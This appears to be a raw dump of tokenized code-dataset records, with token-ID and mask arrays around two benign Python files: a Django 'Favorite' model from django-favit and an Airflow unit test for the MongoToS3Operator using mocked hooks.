4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 7493, 63, 3467, 1333, 489, 291, 14, 7260, 779, 16, 14, 1887, 12, 413, 14, 1717, 467, 876, 63, 1391, 9, 489, 291, 14, 7260, 779, 16, 14, 614, 12, 446, 16, 14, 1717, 467, 876, 63, 25710, 9, 489, 291, 14, 7260, 779, 17, 12, 413, 467, 876, 63, 13020, 9, 489, 291, 14, 7260, 779, 17, 14, 16, 467, 876, 63, 7493, 63, 3467, 9, 489, 4043, 14, 1065, 8, 2926, 12, 4733, 63, 807, 3126, 6017, 26, 5243, 17, 14, 16, 12, 446, 17, 14, 21, 13412, 489, 876, 63, 1391, 275, 4043, 14, 1065, 8, 1391, 9, 489, 876, 63, 25710, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 25710, 1333, 489, 876, 63, 13020, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 13020, 1333, 489, 876, 63, 7493, 63, 3467, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 7493, 63, 3467, 1333, 489, 291, 14, 7260, 779, 16, 14, 2010, 709, 12, 413, 14, 1194, 2766, 467, 876, 63, 1391, 12, 9543, 29, 17, 69, 13, 20, 9, 489, 291, 14, 7260, 11468, 16, 14, 1643, 1643, 12, 446, 16, 14, 1167, 2976, 467, 876, 63, 25710, 12, 9543, 29, 17, 69, 13, 20, 9, 489, 291, 14, 7260, 779, 16, 14, 1020, 2710, 12, 413, 14, 31028, 467, 876, 63, 13020, 12, 9543, 29, 17, 69, 13, 20, 9, 489, 291, 14, 7260, 779, 17, 14, 22530, 467, 876, 63, 7493, 63, 3467, 12, 9543, 29, 17, 69, 13, 20, 9, 819, 347, 511, 15327, 5003, 11575, 561, 8, 277, 304, 272, 408, 4680, 13, 5745, 1678, 1041, 339, 543, 291, 14, 5245, 63, 1730, 342, 465, 4043, 26, 489, 2729, 275, 2833, 14, 2773, 779, 16, 14, 21, 12, 413, 14, 16, 566, 489, 7659, 275, 2833, 14, 6199, 8, 3249, 14, 1609, 708, 12, 2215, 1524, 18, 566, 489, 2450, 275, 11837, 617, 14, 4680, 5745, 8, 881, 9328, 63, 1866, 29, 16, 14, 17, 12, 881, 23887, 29, 16, 14, 25, 12, 881, 8201, 29, 16, 14, 17, 12, 881, 15334, 63, 10546, 63, 1866, 29, 17, 69, 13, 18, 12, 881, 4666, 63, 10546, 63, 1866, 29, 17, 69, 13, 19, 12, 881, 675, 63, 20440, 29, 549, 9, 2541, 3650, 275, 2450, 14, 4998, 63, 13065, 7694, 6017, 12, 2729, 3948, 489, 2833, 14, 2966, 63, 3669, 63, 6498, 1252, 1065, 342, 2541, 876, 63, 1391, 275, 4043, 14, 1065, 8, 1391, 9, 489, 876, 63, 25710, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
mjroson/django-favit
favit/models.py
1
1048
# -*- coding: utf-8 -*- from django.contrib.contenttypes import generic from django.contrib.contenttypes.models import ContentType from django.db import models from django.conf import settings from django.utils.translation import ugettext_lazy as _ from .managers import FavoriteManager class Favorite(models.Model): """ """ user = models.ForeignKey(getattr(settings, 'AUTH_USER_MODEL', 'auth.User')) target_content_type = models.ForeignKey(ContentType) target_object_id = models.PositiveIntegerField() target = generic.GenericForeignKey('target_content_type', 'target_object_id') timestamp = models.DateTimeField(auto_now_add=True, db_index=True) objects = FavoriteManager() class Meta: ordering = ["-timestamp"] get_latest_by = "timestamp" unique_together = ("user", "target_content_type", "target_object_id") verbose_name = _("favorite") verbose_name_plural = _("favorites") def __str__(self): return "{} favorited {}".format(self.user, self.target)
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 1639, 14, 2828, 14, 10778, 492, 7809, 199, 504, 1639, 14, 2828, 14, 10778, 14, 992, 492, 14501, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 63, 6395, 465, 485, 199, 199, 504, 1275, 16259, 492, 481, 12958, 1175, 2988, 421, 199, 533, 481, 12958, 1175, 8, 992, 14, 1685, 304, 272, 408, 272, 408, 339, 922, 275, 1709, 14, 3190, 8, 5675, 8, 1751, 12, 283, 5580, 63, 3791, 63, 11429, 297, 283, 1178, 14, 1899, 1333, 272, 1347, 63, 1317, 63, 466, 275, 1709, 14, 3190, 8, 11282, 9, 272, 1347, 63, 785, 63, 344, 275, 1709, 14, 8591, 342, 272, 1347, 275, 7809, 14, 9417, 3190, 360, 1375, 63, 1317, 63, 466, 297, 283, 1375, 63, 785, 63, 344, 358, 272, 4913, 275, 1709, 14, 4626, 8, 2495, 63, 2131, 63, 525, 29, 549, 12, 1592, 63, 1080, 29, 549, 9, 339, 2251, 275, 481, 12958, 1175, 2988, 342, 339, 1021, 6288, 26, 267, 7794, 275, 16984, 3954, 937, 267, 664, 63, 7410, 63, 991, 275, 298, 3954, 2, 267, 3747, 63, 6314, 275, 1689, 751, 401, 298, 1375, 63, 1317, 63, 466, 401, 298, 1375, 63, 785, 63, 344, 531, 267, 3376, 63, 354, 275, 3824, 23874, 531, 267, 3376, 63, 354, 63, 10019, 275, 3824, 17520, 4033, 531, 339, 347, 636, 495, 721, 277, 304, 267, 372, 11491, 17914, 5703, 8352, 908, 8, 277, 14, 751, 12, 291, 14, 1375, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 1639, 14, 2828, 14, 10778, 492, 7809, 199, 504, 1639, 14, 2828, 14, 10778, 14, 992, 492, 14501, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 63, 6395, 465, 485, 199, 199, 504, 1275, 16259, 492, 481, 12958, 1175, 2988, 421, 199, 533, 481, 12958, 1175, 8, 992, 14, 1685, 304, 272, 408, 272, 408, 339, 922, 275, 1709, 14, 3190, 8, 5675, 8, 1751, 12, 283, 5580, 63, 3791, 63, 11429, 297, 283, 1178, 14, 1899, 1333, 272, 1347, 63, 1317, 63, 466, 275, 1709, 14, 3190, 8, 11282, 9, 272, 1347, 63, 785, 63, 344, 275, 1709, 14, 8591, 342, 272, 1347, 275, 7809, 14, 9417, 3190, 360, 1375, 63, 1317, 63, 466, 297, 283, 1375, 63, 785, 63, 344, 358, 272, 4913, 275, 1709, 14, 4626, 8, 2495, 63, 2131, 63, 525, 29, 549, 12, 1592, 63, 1080, 29, 549, 9, 339, 2251, 275, 481, 12958, 1175, 2988, 342, 339, 1021, 6288, 26, 267, 7794, 275, 16984, 3954, 937, 267, 664, 63, 7410, 63, 991, 275, 298, 3954, 2, 267, 3747, 63, 6314, 275, 1689, 751, 401, 298, 1375, 63, 1317, 63, 466, 401, 298, 1375, 63, 785, 63, 344, 531, 267, 3376, 63, 354, 275, 3824, 23874, 531, 267, 3376, 63, 354, 63, 10019, 275, 3824, 17520, 4033, 531, 339, 347, 636, 495, 721, 277, 304, 267, 372, 11491, 17914, 5703, 8352, 908, 8, 277, 14, 751, 12, 291, 14, 1375, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
akosel/incubator-airflow
tests/contrib/operators/test_mongo_to_s3_operator.py
14
3847
# -*- coding: utf-8 -*- # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import unittest from airflow import DAG from airflow.contrib.operators.mongo_to_s3 import MongoToS3Operator from airflow.models import TaskInstance from airflow.utils import timezone try: from unittest import mock except ImportError: try: import mock except ImportError: mock = None TASK_ID = 'test_mongo_to_s3_operator' MONGO_CONN_ID = 'default_mongo' S3_CONN_ID = 'default_s3' MONGO_COLLECTION = 'example_collection' MONGO_QUERY = {"$lt": "{{ ts + 'Z' }}"} S3_BUCKET = 'example_bucket' S3_KEY = 'example_key' DEFAULT_DATE = timezone.datetime(2017, 1, 1) MOCK_MONGO_RETURN = [ {'example_return_key_1': 'example_return_value_1'}, {'example_return_key_2': 'example_return_value_2'} ] class MongoToS3OperatorTest(unittest.TestCase): def setUp(self): args = { 'owner': 'airflow', 'start_date': DEFAULT_DATE } self.dag = DAG('test_dag_id', default_args=args) self.mock_operator = MongoToS3Operator( task_id=TASK_ID, mongo_conn_id=MONGO_CONN_ID, s3_conn_id=S3_CONN_ID, mongo_collection=MONGO_COLLECTION, mongo_query=MONGO_QUERY, s3_bucket=S3_BUCKET, s3_key=S3_KEY, dag=self.dag ) def test_init(self): self.assertEqual(self.mock_operator.task_id, TASK_ID) self.assertEqual(self.mock_operator.mongo_conn_id, MONGO_CONN_ID) self.assertEqual(self.mock_operator.s3_conn_id, S3_CONN_ID) self.assertEqual(self.mock_operator.mongo_collection, MONGO_COLLECTION) self.assertEqual(self.mock_operator.mongo_query, MONGO_QUERY) self.assertEqual(self.mock_operator.s3_bucket, S3_BUCKET) self.assertEqual(self.mock_operator.s3_key, S3_KEY) def test_template_field_overrides(self): self.assertEqual(self.mock_operator.template_fields, ['s3_key', 'mongo_query']) def test_render_template(self): ti = TaskInstance(self.mock_operator, DEFAULT_DATE) ti.render_templates() expected_rendered_template = {'$lt': u'2017-01-01T00:00:00+00:00Z'} self.assertDictEqual( expected_rendered_template, getattr(self.mock_operator, 'mongo_query') ) @mock.patch('airflow.contrib.operators.mongo_to_s3.MongoHook') @mock.patch('airflow.contrib.operators.mongo_to_s3.S3Hook') def test_execute(self, mock_s3_hook, mock_mongo_hook): operator = self.mock_operator mock_mongo_hook.return_value.find.return_value = iter(MOCK_MONGO_RETURN) mock_s3_hook.return_value.load_string.return_value = True operator.execute(None) mock_mongo_hook.return_value.find.assert_called_once_with( mongo_collection=MONGO_COLLECTION, query=MONGO_QUERY, mongo_db=None ) op_stringify = self.mock_operator._stringify op_transform = self.mock_operator.transform s3_doc_str = op_stringify(op_transform(MOCK_MONGO_RETURN)) mock_s3_hook.return_value.load_string.assert_called_once_with( string_data=s3_doc_str, key=S3_KEY, bucket_name=S3_BUCKET, replace=False ) if __name__ == '__main__': unittest.main()
apache-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 646, 2882, 199, 199, 504, 16321, 492, 19666, 199, 504, 16321, 14, 2828, 14, 12688, 14, 9217, 63, 475, 63, 83, 19, 492, 13503, 1378, 51, 19, 7961, 199, 504, 16321, 14, 992, 492, 8495, 3244, 199, 504, 16321, 14, 1208, 492, 7137, 199, 199, 893, 26, 272, 687, 2882, 492, 1683, 199, 2590, 3545, 26, 272, 862, 26, 267, 492, 1683, 272, 871, 3545, 26, 267, 1683, 275, 488, 199, 199, 17179, 63, 998, 275, 283, 396, 63, 9217, 63, 475, 63, 83, 19, 63, 3856, 7, 199, 45, 26477, 63, 17489, 63, 998, 275, 283, 885, 63, 9217, 7, 199, 51, 19, 63, 17489, 63, 998, 275, 283, 885, 63, 83, 19, 7, 199, 45, 26477, 63, 29374, 275, 283, 2694, 63, 3627, 7, 199, 45, 26477, 63, 11938, 275, 2420, 4, 4116, 582, 7370, 6714, 435, 283, 58, 7, 3586, 3570, 199, 51, 19, 63, 20156, 275, 283, 2694, 63, 4623, 7, 199, 51, 19, 63, 3078, 275, 283, 2694, 63, 498, 7, 199, 199, 3472, 63, 5390, 275, 7137, 14, 2083, 8, 10680, 12, 413, 12, 413, 9, 199, 17749, 63, 45, 26477, 63, 9677, 275, 359, 272, 791, 2694, 63, 1107, 63, 498, 63, 17, 356, 283, 2694, 63, 1107, 63, 585, 63, 17, 2267, 272, 791, 2694, 63, 1107, 63, 498, 63, 18, 356, 283, 2694, 63, 1107, 63, 585, 63, 18, 936, 199, 61, 421, 199, 533, 13503, 1378, 51, 19, 7961, 774, 8, 2796, 14, 1746, 304, 339, 347, 3613, 8, 277, 304, 267, 1249, 275, 469, 288, 283, 4597, 356, 283, 15815, 297, 288, 283, 928, 63, 602, 356, 6186, 63, 5390, 267, 789, 398, 291, 14, 7406, 275, 19666, 360, 396, 63, 7406, 63, 344, 297, 849, 63, 589, 29, 589, 9, 398, 291, 14, 1805, 63, 3856, 275, 13503, 1378, 51, 19, 7961, 8, 288, 2120, 63, 344, 29, 17179, 63, 998, 12, 288, 18006, 63, 1631, 63, 344, 29, 45, 26477, 63, 17489, 63, 998, 12, 288, 308, 19, 63, 1631, 63, 344, 29, 51, 19, 63, 17489, 